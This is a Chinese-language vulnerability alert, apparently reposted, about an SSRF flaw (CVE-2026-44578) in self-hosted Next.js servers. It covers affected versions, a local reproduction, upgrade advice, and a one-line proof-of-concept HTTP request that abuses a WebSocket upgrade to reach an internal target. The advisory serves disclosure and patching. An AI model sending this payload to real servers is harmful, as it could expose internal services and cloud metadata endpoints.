文章总结： Next.js框架13.4.13至15.5.16和16.2.5之前版本存在SSRF漏洞CVE-2026-44578，自托管Node.js服务器可能通过定制WebSocket升级请求被利用，导致服务器代理请求至任意内外部目标，暴露内部服务或云元数据端点。Vercel托管部署不受影响，建议立即升级至next@≥16.2.5版本修复。 综合评分： 85 文章分类： 漏洞分析,漏洞预警,WEB安全,应用安全,云安全

【高危漏洞预警】Next.js SSRF漏洞（CVE-2026-44578）

信通云服

2026年5月18日 16:00 海南

在小说阅读器读本章

去阅读

【漏洞描述】

组件介绍

Next.js 是一个基于 React 的开源全栈框架，由 Vercel 开发，旨在帮助开发者快速构建高性能、可扩展的 Web 应用。它不仅支持前端开发，还提供了后端功能，使其成为现代 Web 开发的首选工具。

漏洞简介

Next.js 是一个用于构建全栈 Web 应用的 React 框架。从13.4.13到15.5.16和16.2.5之前，使用内置Node.js服务器的自托管应用可能因定制的WebSocket升级请求而遭受服务器端请求伪造。攻击者可以让服务器代理请求到任意的内部或外部目的地，这可能会暴露内部服务或云元数据端点。Vercel托管的部署不受影响。该漏洞在15.5.16和16.2.5版本中修复。

【漏洞复现】

本地部署环境，复现版本：v16.2.4

使用python开启一个http服务用于模拟内网业务

使用poc成功访问

GET http://127.0.0.1/test.txt HTTP/1.1Host: 127.0.0.1:3000Upgrade: websocketConnection: UpgradeSec-WebSocket-Version: 13Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

【修复建议】

升级版本至next@>=16.2.5

【参考链接】

https://github.com/vercel/next.js/security/advisories/GHSA-c4j6-fc7j-m34r

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：信通云服 《【高危漏洞预警】Next.js SSRF漏洞（CVE-2026-44578）》